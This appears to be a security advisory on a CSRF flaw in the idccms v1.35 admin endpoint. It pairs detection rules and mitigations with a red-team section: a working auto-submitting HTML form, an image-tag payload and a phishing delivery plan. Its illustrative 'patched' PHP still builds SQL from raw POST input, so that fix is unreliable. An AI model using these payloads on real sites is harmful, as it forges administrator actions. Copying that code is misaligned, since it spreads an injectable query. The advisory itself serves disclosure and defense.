CVE-2024-39023

Executive Summary

CVE-2024-39023 identifies a Cross-Site Request Forgery (CSRF) vulnerability in idccms v1.35, specifically within the admin/info_deal.php?mudi=add&nohrefStr=close endpoint. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as adding new content or modifying configurations, without their consent. The vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and has a CVSS v3.1 base score of 4.3 (Medium), with a vector string of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N. The attack vector is network-based, requires low complexity, and necessitates user interaction (e.g., clicking a malicious link). The impact is limited to integrity (low), with no confidentiality or availability impact. No public exploit code or nuclei template is available, but the vulnerability is confirmed and unpatched.

Supply Chain & Package Security

This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby) and is specific to the idccms web application. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS v3.1 Base Score: 4.3 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the CSRF.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Limited ability to modify data (e.g., add a new info entry).
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability requires user interaction and only allows limited integrity impact, but it can be chained with social engineering to perform unauthorized administrative actions.

Deep Dive & Mechanics

The vulnerability resides in the admin/info_deal.php script, which handles administrative operations for the idccms content management system. The endpoint mudi=add&nohrefStr=close is used to add new information entries. The application fails to implement anti-CSRF tokens or validate the origin of requests, allowing an attacker to craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to add arbitrary content.

Attack Flow:

1. An attacker crafts a malicious HTML page containing a form or an image tag that automatically submits a POST/GET request to http://target/admin/info_deal.php?mudi=add&nohrefStr=close with attacker-controlled parameters (e.g., title, content).
2. The attacker lures an authenticated admin to visit this page (e.g., via phishing email or malicious link).
3. The admin's browser sends the forged request, including their session cookies, to the vulnerable endpoint.
4. The server processes the request as legitimate, adding the attacker's content to the CMS.

Root Cause: Lack of CSRF protection mechanisms such as synchronizer tokens, SameSite cookies, or origin header validation.

Vulnerable vs. Patched Code

Vulnerable Code (idccms v1.35): The admin/info_deal.php script does not check for a CSRF token or validate the HTTP Referer header. Example snippet:

<?php
// admin/info_deal.php
if ($_GET['mudi'] == 'add') {
    $title = $_POST['title'];
    $content = $_POST['content'];
    // No CSRF check
    $db->query("INSERT INTO info (title, content) VALUES ('$title', '$content')");
}
?>

Patched Code (Hypothetical): A patched version would include a CSRF token validation:

<?php
session_start();
if ($_GET['mudi'] == 'add') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF validation failed');
    }
    $title = $_POST['title'];
    $content = $_POST['content'];
    $db->query("INSERT INTO info (title, content) VALUES ('$title', '$content')");
}
?>

Note: No official patch is available from the vendor.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running idccms v1.35 with an authenticated admin session.
• Attacker-controlled web server to host malicious page.

Step-by-Step Exploitation:

1. Create a malicious HTML file (csrf_exploit.html):

<html>
<body>
<form action="http://target/admin/info_deal.php?mudi=add&nohrefStr=close" method="POST">
  <input type="hidden" name="title" value="Malicious Entry">
  <input type="hidden" name="content" value="This is attacker-controlled content.">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server (e.g., http://attacker.com/csrf_exploit.html).
3. Send a phishing email to the admin with a link to the malicious page.
4. When the admin clicks the link, the form auto-submits, adding the malicious entry.

Alternative Payload (Image Tag):

<img src="http://target/admin/info_deal.php?mudi=add&nohrefStr=close&title=Hacked&content=CSRF" style="display:none;">

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for unusual POST requests to admin/info_deal.php with mudi=add parameter.
• Check for unexpected new entries in the CMS database.
• Analyze web server logs for Referer headers from untrusted domains.

Mitigation:

• Implement CSRF tokens in all admin forms.
• Validate the HTTP Origin and Referer headers.
• Use SameSite cookies (set to Lax or Strict).
• Educate administrators about phishing risks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /admin/info_deal.php?mudi=add&nohrefStr=close with suspicious parameters.
  • Referer header pointing to an external, untrusted domain.
• File IOCs:
  • Unexpected entries in the CMS database (e.g., info table).
• Log IOCs:
  • Web server logs showing repeated requests to the vulnerable endpoint from a single IP.
  • User agent strings associated with automated tools (e.g., curl, python-requests).

Detection Engineering

YARA Rule

rule idccms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against idccms v1.35"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39023"
    strings:
        $s1 = "admin/info_deal.php?mudi=add&nohrefStr=close" ascii wide nocase
        $s2 = "title=" ascii wide nocase
        $s3 = "content=" ascii wide nocase
    condition:
        any of ($s1) and any of ($s2) and any of ($s3)
}

Sigma Rule

title: CSRF Exploit Against idccms v1.35
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the CSRF-vulnerable endpoint in idccms v1.35
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/admin/info_deal.php'
        cs-uri-query|contains: 'mudi=add'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39023 - idccms CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/info_deal.php"; http_uri; content:"mudi=add"; http_uri; content:"nohrefStr=close"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to admin/info_deal.php via web server configuration (e.g., .htaccess).
2. Implement CSRF protection manually:
   • Add a hidden CSRF token field to all admin forms.
   • Validate the token on the server side.
3. Set SameSite cookies to Lax or Strict in the PHP session configuration.
4. Restrict admin access to trusted IP addresses or VPN.

Long-Term Fix:

• Upgrade to a patched version of idccms (if available) or migrate to a supported CMS.
• Conduct a security audit of the entire application.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint with suspicious parameters.

Valters IT